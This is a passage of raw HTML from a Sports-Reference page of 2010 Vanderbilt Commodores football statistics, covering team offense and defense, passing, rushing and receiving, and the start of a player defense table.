if (head) {
var scriptStyles = document.createElement("link");
scriptStyles.rel = "stylesheet";
scriptStyles.type = "text/css";
scriptStyles.href = sr_css_file;
head.appendChild(scriptStyles);
//alert('adding css to header:'+sr_css_file);
}
}());
</script>
<meta charset="utf-8">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="keywords" content="college, ncaa, football, stats, statistics, history, Vanderbilt Commodores, 2010, stats">
<meta property="fb:admins" content="34208645" />
<meta property="fb:page_id" content="185855008121268" />
<meta property="og:site_name" content="College Football at Sports-Football-Reference.com">
<meta property="og:image" content="http://d2ft4b0ve1aur1.cloudfront.net/images-237/SR-College-Football.png">
<meta itemprop="image" content="http://d2ft4b0ve1aur1.cloudfront.net/images-237/SR-College-Football.png">
<meta property="og:description" content="Statistics, Game Logs, Splits, and much more">
<meta property="og:title" content="2010 Vanderbilt Commodores">
<meta property="og:url" content="http://www.sports-reference.com/cfb/schools/vanderbilt/2010.html">
<meta property="og:type" content="team">
<link rel="canonical" href="http://www.sports-reference.com/cfb/schools/vanderbilt/2010.html"/>
<meta itemprop="name" content="2010 Vanderbilt Commodores">
<meta itemprop="description" content="Statistics, Game Logs, Splits, and much more">
<div></div><!-- to prevent hangs on some browsers -->
<link rel="icon" type="image/vnd.microsoft.icon" href="http://d2ft4b0ve1aur1.cloudfront.net/images-237/favicon-cfb.ico">
<link rel="shortcut icon" type="image/vnd.microsoft.icon" href="http://d2ft4b0ve1aur1.cloudfront.net/images-237/favicon-cfb.ico">
<link rel="search" type="application/opensearchdescription+xml" href="http://d2ft4b0ve1aur1.cloudfront.net/os-237/opensearch-cfb.xml" title="CFB-Ref Search">
<!--[if lte IE 6]>
<style type="text/css">
.hovermenu,.hovermenu_ajax,.sub_index,#quick_index {display:none!important}
</style>
<![endif]-->
</head>
<body>
<div id="page_container">
<div id="top_nav">
<div id="site_header">
<div id="sr_header">
<div class="float_right">
<a href="http://www.sports-reference.com">S-R</a>:
<a href="http://www.baseball-reference.com">MLB</a> |
<a href="http://www.basketball-reference.com/">NBA</a> ·
<a href="http://www.sports-reference.com/cbb/">CBB</a> |
<a href="http://www.pro-football-reference.com">NFL</a> ·
<span class="bold_text">CFB</span> |
<a href="http://www.hockey-reference.com">NHL</a> |
<a href="http://www.sports-reference.com/olympics/">Oly</a> |
<a href="http://www.sports-reference.com/blog/">Blog</a>
</div>
<div class="clear_both clearfix float_right margin_left padding_top_half">
<a class="sprite-twitter" title="Follow us on Twitter" href="http://twitter.com/sports_ref"></a> <a class="sprite-facebook" title="Become a Fan on Facebook" href="http://www.facebook.com/SR.CollegeFootball"></a>
</div>
<div class="float_right">
<form method="get" id="f" name="f" action="/cfb/search.cgi">
<input x-webkit-speech type="search" placeholder="" id="search" name="search" class="search long">
<input type="submit" value="Search" class="submit">
</form>
</div>
</div>
<div class="float_left padding_bottom_half">
<a href="/cfb/"><img src="http://d2ft4b0ve1aur1.cloudfront.net/images-237/SR-College-Football.png" width="464" height="49" class="border0" alt="College Football Statistics & History | College Football at Sports-Reference.com"></a>
</div>
</div>
<div id="quick_index_container">
<div id="quick_index">
<ul class="hovermenu_ajax navbar">
<li class=""><a href="/cfb/play-index/">play index</a><ul class="li_margin" id="header_playindex"></ul></li>
<li class=""><a href="/cfb/boxscores/">box scores</a><ul class="li_margin" id="header_boxscores"></ul></li>
<li class=""><a href="/cfb/players/">players</a><ul class="li_margin" id="header_players"></ul></li>
<li class="active"><a href="/cfb/schools/">schools</a><ul class="li_margin" id="header_schools"></ul></li>
<li class=""><a href="/cfb/years/">seasons</a><ul class="li_margin" id="header_years"></ul></li>
<li class=""><a href="/cfb/conferences/">conferences</a><ul class="li_margin" id="header_conferences"></ul></li>
<li class=""><a href="/cfb/coaches/">coaches</a><ul class="li_margin" id="header_coaches"></ul></li>
<li class=""><a href="/cfb/leaders/">leaders</a><ul class="li_margin" id="header_leaders"></ul></li>
<li class=""><a href="/cfb/awards/">awards</a><ul class="li_margin" id="header_awards"></ul></li>
<li class=""><a href="/cfb/bowls/">bowls</a><ul class="li_margin" id="header_bowls"></ul></li>
<li class=""><a href="">more [+]</a>
<ul class="li_margin" id="header_more_links">
<li>
<a class="bold_text" href="/cfb/about/">About</a>:
<a href="/cfb/about/what-is-major.html">What is Major?</a>,
<a href="/cfb/about/glossary.html#srs">Simple Rating System</a>,
<a href="/cfb/about/glossary.html">Glossary</a>,
<a href="/cfb/about/sources.html">Sources</a>,
<a href="/cfb/about/contact.html">Contacts</a>,
<a href="/cfb/about/philosophy.html">Philosophy</a>
</li>
<li><a class="bold_text" href="http://www.sports-reference.com/blog/category/cfb-at-sports-reference/">Blog</a>: News and notes about CFB at Sports-Reference.com</li>
<li>
<a class="bold_text" href="/cfb/friv/">Frivolities</a>:
<a href="/cfb/friv/elo.cgi">Elo School Rater</a>
</li>
</ul>
</li>
</ul>
</div>
</div>
<div id="you_are_here">
<p><strong>You Are Here</strong> > <a href="/cfb/">SR/CFB</a> > <a href="/cfb/schools/">Schools</a> > <a href="/cfb/schools/vanderbilt/">Vanderbilt Commodores</a> > <strong>2010</strong></p>
</div>
<style>
.site_news { color:#fff!important; background-color:#747678;
border-top:1px solid #000;
border-bottom: 1px solid #000;
clear:both;
font-size:.875em; width:100%; }
.site_news p { margin:0; padding:.35em .7em; }
.site_news a { color:#fff; }
</style>
<div class="site_news"><p><span class="bold_text">News:</span> <span class="poptip" tip="Just a friendly reminder to check out our Olympics site, which is being updated daily throughout the London games.">s-r blog:<a onClick="try { pageTracker._trackEvent('blog','click','area-yah'); } catch (err) {};"
href="http://www.sports-reference.com/blog/2012/07/olympics-at-sports-reference/">Olympics at Sports-Reference</a> <span class="small_text"></span></span></p></div>
</div>
<div id="info_box">
<div class="advert300x250">
<script type="text/deferscript">
var _ad_d = Math.floor(Math.random()*9999999999+1);
document.write('<scr' + 'ipt src=http://ad.doubleclick.net/adj/collegefootballreference.fsv/ros;sect=ros;fantasy=no;game=no;tile=3;sz=300x250;ord=' + _ad_d + '?></scr' + 'ipt>');
</script>
<noscript>
<a href="http://ad.doubleclick.net/jump/collegefootballreference.fsv/ros;sect=ros;fantasy=no;game=no;tile=3;sz=300x250;ord=?"
><img alt="" SRC="http://ad.doubleclick.net/ad/collegefootballreference.fsv/ros;sect=ros;fantasy=no;game=no;tile=3;sz=300x250;ord=?" border="0" width="300" height="250" ></a>
</noscript>
</div>
<h1>2010 Vanderbilt Commodores Statistics</h1>
<div class="social_media">
<div class="float_left"><span id="fb-root"></span><fb:like width="200" show_faces="0" height="35" ref="team_like"></fb:like></div>
<div class="float_left"><div class="g-plusone" data-size="medium" data-annotation="inline" data-width="150"></div></div>
</div>
<p><a href="/cfb/schools/vanderbilt/">School Index:</a> <a href="/cfb/schools/vanderbilt/2009.html">Previous Year</a> ▪ <a href="/cfb/schools/vanderbilt/2011.html">Next Year</a></p>
<form class="sr_standard inline" name="pages" action="">
<strong>Navigation:</strong>
<select name="cfb_pages" onchange="sr_goto_page('cfb_pages','',this.form);">
<option value="" disabled >Select Page
<option value="/cfb/schools/vanderbilt/2010.html" selected>Statistics
<option value="/cfb/schools/vanderbilt/2010-schedule.html">Schedule and Results
<option value="/cfb/schools/vanderbilt/2010-roster.html">Roster
<option value="/cfb/schools/vanderbilt/2010/gamelog/">Game Log
<option value="/cfb/schools/vanderbilt/2010/splits/">Splits
</select>
</form>
<p class="margin_top"><strong>Conference:</strong> <a href="/cfb/conferences/sec/2010.html">SEC</a> (East Division)
<br><strong>Record:</strong> 2-10, .167 W-L% (109th of 120) (<a href="/cfb/schools/vanderbilt/2010-schedule.html">Schedule and Results</a>)
<br><strong>Coach:</strong> <a href="/cfb/coaches/robbie-caldwell-1.html">Robbie Caldwell</a> (2-10)
<p><strong>PTS/G:</strong> 16.9 (112th of 120) ▪ <strong>Opp PTS/G:</strong> 31.2 (94th of 120)
<br><strong><a href="/cfb/about/glossary.html#srs" onmouseover="Tip('Simple Rating System; a rating that takes into account average point differential and strength of schedule. The rating is denominated in points above/below average, where zero is average.')">SRS</a>:</strong> -9.59 (99th of 120) ▪ <strong><a href="/cfb/about/glossary.html#sos" onmouseover="Tip('Strength of Schedule; a rating of strength of schedule. The rating is denominated in points above/below average, where zero is average.')">SOS</a>:</strong> 4.09 (30th of 120)
</div>
<div class="advert728x90">
<script type="text/deferscript">
var _ad_c = Math.floor(Math.random()*9999999999+1);
document.write('<scr' + 'ipt src=http://ad.doubleclick.net/adj/collegefootballreference.fsv/ros;sect=ros;fantasy=no;game=no;tile=1;dcopt=ist;sz=728x90;ord=' + _ad_c + '?></scr' + 'ipt>');
</script>
<noscript>
<a href="http://ad.doubleclick.net/jump/collegefootballreference.fsv/ros;sect=ros;fantasy=no;game=no;tile=1;sz=728x90;ord='+_ad_c+'?"
><img src="http://ad.doubleclick.net/ad/collegefootballreference.fsv/ros;sect=ros;fantasy=no;game=no;tile=1;sz=728x90;ord='+_ad_c+'?" border="0" height="90" width="728"></a>
</noscript>
</div><div class="clear_both margin0 padding0"></div>
<div id="page_content">
<div class="table_heading">
<h2 style="">Team Statistics</h2>
<div class="table_heading_text">Most values are per game averages</div>
</div>
<div class="table_container" id="div_team">
<table class=" show_controls stats_table" id="team">
<colgroup><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col></colgroup>
<thead>
<tr class=" over_header">
<th></th>
<th></th>
<th align="center" colspan=5 class="bold_text over_header" >Passing</th>
<th align="center" colspan=4 class="bold_text over_header" >Rushing</th>
<th align="center" colspan=3 class="bold_text over_header" >Total Offense</th>
<th align="center" colspan=4 class="bold_text over_header" >First Downs</th>
<th align="center" colspan=2 class="bold_text over_header" >Penalties</th>
<th align="center" colspan=3 class="bold_text over_header" >Turnovers</th>
</tr>
<tr class="">
<th align="left" class=" sort_default_asc" >Split</th>
<th align="right" class="" tip="Games">G</th>
<th align="right" class="" tip="Pass Completions">Cmp</th>
<th align="right" class="" tip="Pass Attempts">Att</th>
<th align="right" class="" tip="Pass Completion Percentage">Pct</th>
<th align="right" class="" tip="Passing Yards">Yds</th>
<th align="right" class="" tip="Passing Touchdowns">TD</th>
<th align="right" class="" tip="Rush Attempts">Att</th>
<th align="right" class="" tip="Rushing Yards">Yds</th>
<th align="right" class="" tip="Rushing Yards Per Attempt">Avg</th>
<th align="right" class="" tip="Rushing Touchdowns">TD</th>
<th align="right" class="" tip="Plays (Pass Attempts plus Rush Attempts)">Plays</th>
<th align="right" class="" tip="Total Yards (Passing Yards plus Rushing Yards)">Yds</th>
<th align="right" class="" tip="Total Yards Per Play">Avg</th>
<th align="right" class="" tip="First Downs by Pass">Pass</th>
<th align="right" class="" tip="First Downs by Rush">Rush</th>
<th align="right" class="" tip="First Downs by Penalty">Pen</th>
<th align="right" class="" tip="First Downs">Tot</th>
<th align="right" class="" tip="Penalties">No.</th>
<th align="right" class="" tip="Penalty Yards">Yds</th>
<th align="right" class="" tip="Fumbles Lost">Fum</th>
<th align="right" class="" tip="Passing Interceptions">Int</th>
<th align="right" class="" tip="Turnovers">Tot</th>
</tr>
</thead>
<tbody>
<tr class="">
<td align="left" >Offense</td>
<td align="right" >12</td>
<td align="right" >14.1</td>
<td align="right" >30.0</td>
<td align="right" >46.9</td>
<td align="right" >159.4</td>
<td align="right" >0.9</td>
<td align="right" >35.1</td>
<td align="right" >138.8</td>
<td align="right" >4.0</td>
<td align="right" >1.1</td>
<td align="right" >65.1</td>
<td align="right" >298.3</td>
<td align="right" >4.6</td>
<td align="right" >6.8</td>
<td align="right" >7.3</td>
<td align="right" >0.9</td>
<td align="right" >15.0</td>
<td align="right" >5.6</td>
<td align="right" >44.7</td>
<td align="right" >0.7</td>
<td align="right" >0.9</td>
<td align="right" >1.6</td>
</tr>
<tr class="">
<td align="left" >Defense</td>
<td align="right" >12</td>
<td align="right" >18.4</td>
<td align="right" >29.1</td>
<td align="right" >63.3</td>
<td align="right" >226.3</td>
<td align="right" >1.5</td>
<td align="right" >43.3</td>
<td align="right" >193.0</td>
<td align="right" >4.5</td>
<td align="right" >2.1</td>
<td align="right" >72.3</td>
<td align="right" >419.3</td>
<td align="right" >5.8</td>
<td align="right" >9.0</td>
<td align="right" >10.1</td>
<td align="right" >0.8</td>
<td align="right" >19.9</td>
<td align="right" >6.0</td>
<td align="right" >50.6</td>
<td align="right" >0.5</td>
<td align="right" >0.8</td>
<td align="right" >1.3</td>
</tr>
<tr class="">
<td align="left" >Difference</td>
<td align="right" ></td>
<td align="right" >-4.3</td>
<td align="right" >+0.9</td>
<td align="right" >-16.4</td>
<td align="right" >-66.9</td>
<td align="right" >-0.6</td>
<td align="right" >-8.2</td>
<td align="right" >-54.2</td>
<td align="right" >-0.5</td>
<td align="right" >-1.0</td>
<td align="right" >-7.2</td>
<td align="right" >-121.0</td>
<td align="right" >-1.2</td>
<td align="right" >-2.2</td>
<td align="right" >-2.8</td>
<td align="right" >+0.1</td>
<td align="right" >-4.9</td>
<td align="right" >-0.4</td>
<td align="right" >-5.9</td>
<td align="right" >+0.2</td>
<td align="right" >+0.1</td>
<td align="right" >+0.3</td>
</tr>
</tbody>
</table>
</div>
<div class="table_heading">
<h2 style="">Passing</h2>
<div class="table_heading_text"></div>
</div>
<div class="table_container" id="div_passing">
<table class="sortable stats_table" id="passing">
<colgroup><col><col><col><col><col><col><col><col><col><col><col></colgroup>
<thead>
<tr class=" over_header">
<th align="CENTER" colspan=2 class="tooltip over_header" ></th>
<th align="center" colspan=9 class="bold_text over_header" >Passing</th>
</tr>
<tr class="">
<th align="right" class="ranker sort_default_asc" tip="Rank">Rk</th>
<th align="left" class="tooltip sort_default_asc" >Player</th>
<th align="right" class="tooltip" tip="Pass Completions">Cmp</th>
<th align="right" class="tooltip" tip="Pass Attempts">Att</th>
<th align="right" class="tooltip" tip="Pass Completion Percentage">Pct</th>
<th align="right" class="tooltip" tip="Passing Yards">Yds</th>
<th align="right" class="tooltip" tip="Passing Yards Per Attempt">Y/A</th>
<th align="right" class="tooltip" tip="Adjusted Passing Yards Per Attempt; the formula is (Yds + 20 * TD - 45 * Int) / Att">AY/A</th>
<th align="right" class="tooltip" tip="Passing Touchdowns">TD</th>
<th align="right" class="tooltip" tip="Passing Interceptions">Int</th>
<th align="right" class="tooltip" tip="Passing Efficiency Rating; the formula is (8.4 * Yds + 330 * TD - 200 * Int + 100 * Cmp) / Att">Rate</th>
</tr>
</thead>
<tbody>
<tr class="">
<td align="right" csk="1">1</td>
<td align="left" csk="Smith,Larry"><a href="/cfb/players/larry-smith-1.html">Larry Smith</a></td>
<td align="right" >117</td>
<td align="right" >247</td>
<td align="right" >47.4</td>
<td align="right" >1262</td>
<td align="right" >5.1</td>
<td align="right" >4.7</td>
<td align="right" >6</td>
<td align="right" >5</td>
<td align="right" >94.3</td>
</tr>
<tr class="">
<td align="right" csk="2">2</td>
<td align="left" csk="Funk,Jared"><a href="/cfb/players/jared-funk-1.html">Jared Funk</a></td>
<td align="right" >52</td>
<td align="right" >109</td>
<td align="right" >47.7</td>
<td align="right" >651</td>
<td align="right" >6.0</td>
<td align="right" >4.4</td>
<td align="right" >5</td>
<td align="right" >6</td>
<td align="right" >102.0</td>
</tr>
<tr class="">
<td align="right" csk="3">3</td>
<td align="left" csk="Barden,Brandon"><a href="/cfb/players/brandon-barden-1.html">Brandon Barden</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
</tr>
<tr class="">
<td align="right" csk="4">4</td>
<td align="left" csk="Cole,John"><a href="/cfb/players/john-cole-1.html">John Cole</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
</tr>
<tr class="">
<td align="right" csk="5">5</td>
<td align="left" csk="Fowler,Ryan"><a href="/cfb/players/ryan-fowler-2.html">Ryan Fowler</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
</tr>
<tr class="">
<td align="right" csk="6">6</td>
<td align="left" csk="Wimberly,Turner"><a href="/cfb/players/turner-wimberly-1.html">Turner Wimberly</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
</tr>
</tbody>
</table>
</div>
<div class="table_heading">
<h2 style="">Rushing & Receiving</h2>
<div class="table_heading_text"></div>
</div>
<div class="table_container" id="div_rushing_and_receiving">
<table class="sortable stats_table" id="rushing_and_receiving">
<colgroup><col><col><col><col><col><col><col><col><col><col><col><col><col><col></colgroup>
<thead>
<tr class=" over_header">
<th align="CENTER" colspan=2 class="tooltip over_header" ></th>
<th align="center" colspan=4 class="bold_text over_header" >Rushing</th>
<th align="center" colspan=4 class="bold_text over_header" >Receiving</th>
<th align="center" colspan=4 class="bold_text over_header" >Scrimmage</th>
</tr>
<tr class="">
<th align="right" class="ranker sort_default_asc" tip="Rank">Rk</th>
<th align="left" class="tooltip sort_default_asc" >Player</th>
<th align="right" class="tooltip" tip="Rush Attempts">Att</th>
<th align="right" class="tooltip" tip="Rushing Yards">Yds</th>
<th align="right" class="tooltip" tip="Rushing Yards Per Attempt">Avg</th>
<th align="right" class="tooltip" tip="Rushing Touchdowns">TD</th>
<th align="right" class="tooltip" tip="Receptions">Rec</th>
<th align="right" class="tooltip" tip="Receiving Yards">Yds</th>
<th align="right" class="tooltip" tip="Receiving Yards Per Reception">Avg</th>
<th align="right" class="tooltip" tip="Receiving Touchdowns">TD</th>
<th align="right" class="tooltip" tip="Plays From Scrimmage (Rush Attempts plus Receptions)">Plays</th>
<th align="right" class="tooltip" tip="Yards From Scrimmage (Rushing Yards plus Receiving Yards)">Yds</th>
<th align="right" class="tooltip" tip="Yards From Scrimmage Per Play">Avg</th>
<th align="right" class="tooltip" tip="Touchdowns From Scrimmage (Rushing Touchdowns plus Receiving Touchdowns)">TD</th>
</tr>
</thead>
<tbody>
<tr class="">
<td align="right" csk="1">1</td>
<td align="left" csk="Smith,Larry"><a href="/cfb/players/larry-smith-1.html">Larry Smith</a></td>
<td align="right" >105</td>
<td align="right" >248</td>
<td align="right" >2.4</td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >105</td>
<td align="right" >248</td>
<td align="right" >2.4</td>
<td align="right" >4</td>
</tr>
<tr class="">
<td align="right" csk="2">2</td>
<td align="left" csk="Norman,Warren"><a href="/cfb/players/warren-norman-1.html">Warren Norman</a></td>
<td align="right" >77</td>
<td align="right" >459</td>
<td align="right" >6.0</td>
<td align="right" >4</td>
<td align="right" >11</td>
<td align="right" >110</td>
<td align="right" >10.0</td>
<td align="right" >0</td>
<td align="right" >88</td>
<td align="right" >569</td>
<td align="right" >6.5</td>
<td align="right" >4</td>
</tr>
<tr class="">
<td align="right" csk="3">3</td>
<td align="left" csk="Reeves,Kennard"><a href="/cfb/players/kennard-reeves-1.html">Kennard Reeves</a></td>
<td align="right" >76</td>
<td align="right" >306</td>
<td align="right" >4.0</td>
<td align="right" >0</td>
<td align="right" >4</td>
<td align="right" >35</td>
<td align="right" >8.8</td>
<td align="right" >0</td>
<td align="right" >80</td>
<td align="right" >341</td>
<td align="right" >4.3</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="4">4</td>
<td align="left" csk="Stacy,Zac"><a href="/cfb/players/zac-stacy-1.html">Zac Stacy</a></td>
<td align="right" >66</td>
<td align="right" >331</td>
<td align="right" >5.0</td>
<td align="right" >3</td>
<td align="right" >9</td>
<td align="right" >32</td>
<td align="right" >3.6</td>
<td align="right" >0</td>
<td align="right" >75</td>
<td align="right" >363</td>
<td align="right" >4.8</td>
<td align="right" >3</td>
</tr>
<tr class="">
<td align="right" csk="5">5</td>
<td align="left" csk="Tate,Wesley"><a href="/cfb/players/wesley-tate-1.html">Wesley Tate</a></td>
<td align="right" >40</td>
<td align="right" >140</td>
<td align="right" >3.5</td>
<td align="right" >0</td>
<td align="right" >5</td>
<td align="right" >25</td>
<td align="right" >5.0</td>
<td align="right" >0</td>
<td align="right" >45</td>
<td align="right" >165</td>
<td align="right" >3.7</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="6">6</td>
<td align="left" csk="Funk,Jared"><a href="/cfb/players/jared-funk-1.html">Jared Funk</a></td>
<td align="right" >24</td>
<td align="right" >67</td>
<td align="right" >2.8</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >24</td>
<td align="right" >67</td>
<td align="right" >2.8</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="7">7</td>
<td align="left" csk="Samuels,Eric"><a href="/cfb/players/eric-samuels-1.html">Eric Samuels</a></td>
<td align="right" >10</td>
<td align="right" >43</td>
<td align="right" >4.3</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >10</td>
<td align="right" >43</td>
<td align="right" >4.3</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="8">8</td>
<td align="left" csk="Krause,Jonathan"><a href="/cfb/players/jonathan-krause-1.html">Jonathan Krause</a></td>
<td align="right" >6</td>
<td align="right" >121</td>
<td align="right" >20.2</td>
<td align="right" >2</td>
<td align="right" >24</td>
<td align="right" >243</td>
<td align="right" >10.1</td>
<td align="right" >0</td>
<td align="right" >30</td>
<td align="right" >364</td>
<td align="right" >12.1</td>
<td align="right" >2</td>
</tr>
<tr class="">
<td align="right" csk="9">9</td>
<td align="left" csk="Jelesky,Josh"><a href="/cfb/players/josh-jelesky-1.html">Josh Jelesky</a></td>
<td align="right" >1</td>
<td align="right" >4</td>
<td align="right" >4.0</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" >4</td>
<td align="right" >4.0</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="10">10</td>
<td align="left" csk="Kent,Richard"><a href="/cfb/players/richard-kent-1.html">Richard Kent</a></td>
<td align="right" >1</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="11">11</td>
<td align="left" csk="Cole,John"><a href="/cfb/players/john-cole-1.html">John Cole</a></td>
<td align="right" >1</td>
<td align="right" >-1</td>
<td align="right" >-1.0</td>
<td align="right" >0</td>
<td align="right" >25</td>
<td align="right" >317</td>
<td align="right" >12.7</td>
<td align="right" >1</td>
<td align="right" >26</td>
<td align="right" >316</td>
<td align="right" >12.2</td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="12">12</td>
<td align="left" csk="Barden,Brandon"><a href="/cfb/players/brandon-barden-1.html">Brandon Barden</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >34</td>
<td align="right" >425</td>
<td align="right" >12.5</td>
<td align="right" >3</td>
<td align="right" >34</td>
<td align="right" >425</td>
<td align="right" >12.5</td>
<td align="right" >3</td>
</tr>
<tr class="">
<td align="right" csk="13">13</td>
<td align="left" csk="Matthews,Jordan"><a href="/cfb/players/jordan-matthews-1.html">Jordan Matthews</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >15</td>
<td align="right" >181</td>
<td align="right" >12.1</td>
<td align="right" >4</td>
<td align="right" >15</td>
<td align="right" >181</td>
<td align="right" >12.1</td>
<td align="right" >4</td>
</tr>
<tr class="">
<td align="right" csk="14">14</td>
<td align="left" csk="Herndon,Tray"><a href="/cfb/players/tray-herndon-1.html">Tray Herndon</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >13</td>
<td align="right" >122</td>
<td align="right" >9.4</td>
<td align="right" >0</td>
<td align="right" >13</td>
<td align="right" >122</td>
<td align="right" >9.4</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="15">15</td>
<td align="left" csk="Umoh,Udom"><a href="/cfb/players/udom-umoh-1.html">Udom Umoh</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >12</td>
<td align="right" >194</td>
<td align="right" >16.2</td>
<td align="right" >2</td>
<td align="right" >12</td>
<td align="right" >194</td>
<td align="right" >16.2</td>
<td align="right" >2</td>
</tr>
<tr class="">
<td align="right" csk="16">16</td>
<td align="left" csk="Wimberly,Turner"><a href="/cfb/players/turner-wimberly-1.html">Turner Wimberly</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >10</td>
<td align="right" >170</td>
<td align="right" >17.0</td>
<td align="right" >0</td>
<td align="right" >10</td>
<td align="right" >170</td>
<td align="right" >17.0</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="17">17</td>
<td align="left" csk="Johnston,Mason"><a href="/cfb/players/mason-johnston-1.html">Mason Johnston</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >6</td>
<td align="right" >56</td>
<td align="right" >9.3</td>
<td align="right" >1</td>
<td align="right" >6</td>
<td align="right" >56</td>
<td align="right" >9.3</td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="18">18</td>
<td align="left" csk="Lassing,Fitz"><a href="/cfb/players/fitz-lassing-1.html">Fitz Lassing</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" >3</td>
<td align="right" >3.0</td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >3</td>
<td align="right" >3.0</td>
<td align="right" >0</td>
</tr>
</tbody>
</table>
</div>
<div class="table_heading">
<h2 style="">Defense & Fumbles</h2>
<div class="table_heading_text"></div>
</div>
<div class="table_container" id="div_defense_and_fumbles">
<table class="sortable stats_table" id="defense_and_fumbles">
<colgroup><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col></colgroup>
<thead>
<tr class=" over_header">
<th align="CENTER" colspan=2 class="tooltip over_header" ></th>
<th align="center" colspan=5 class="bold_text over_header" >Tackles</th>
<th align="center" colspan=5 class="bold_text over_header" >Def Int</th>
<th align="center" colspan=4 class="bold_text over_header" >Fumbles</th>
</tr>
<tr class="">
<th align="right" class="ranker sort_default_asc" tip="Rank">Rk</th>
<th align="left" class="tooltip sort_default_asc" >Player</th>
<th align="right" class="tooltip" tip="Solo Tackles">Solo</th>
<th align="right" class="tooltip" tip="Assisted Tackles">Ast</th>
<th align="right" class="tooltip" tip="Total Tackles">Tot</th>
<th align="right" class="tooltip" tip="Tackles for Loss">Loss</th>
<th align="right" class="tooltip" tip="Sacks">Sk</th>
<th align="right" class="tooltip" tip="Interceptions">Int</th>
<th align="right" class="tooltip" tip="Interception Return Yards">Yds</th>
<th align="right" class="tooltip" tip="Interception Return Yards Per Interception">Avg</th>
<th align="right" class="tooltip" tip="Interception Return Touchdowns">TD</th>
<th align="right" class="tooltip" tip="Passes Defended">PD</th>
<th align="right" class="tooltip" tip="Fumbles Recovered">FR</th>
<th align="right" class="tooltip" tip="Fumble Recovery Return Yards">Yds</th>
<th align="right" class="tooltip" tip="Fumble Recovery Return Touchdowns">TD</th>
<th align="right" class="tooltip" tip="Fumbles Forced">FF</th>
</tr>
</thead>
<tbody>
<tr class="">
<td align="right" csk="1">1</td>
<td align="left" csk="Richardson,Sean"><a href="/cfb/players/sean-richardson-1.html">Sean Richardson</a></td>
<td align="right" >62</td>
<td align="right" >37</td>
<td align="right" >99</td>
<td align="right" >7.0</td>
<td align="right" >1.5</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >5</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="2">2</td>
<td align="left" csk="Marve,Chris"><a href="/cfb/players/chris-marve-1.html">Chris Marve</a></td>
<td align="right" >45</td>
<td align="right" >35</td>
<td align="right" >80</td>
<td align="right" >8.0</td>
<td align="right" >2.5</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >2</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="3">3</td>
<td align="left" csk="Stokes,John"><a href="/cfb/players/john-stokes-2.html">John Stokes</a></td>
<td align="right" >44</td>
<td align="right" >34</td>
<td align="right" >78</td>
<td align="right" >6.5</td>
<td align="right" >0.5</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >3</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="4">4</td>
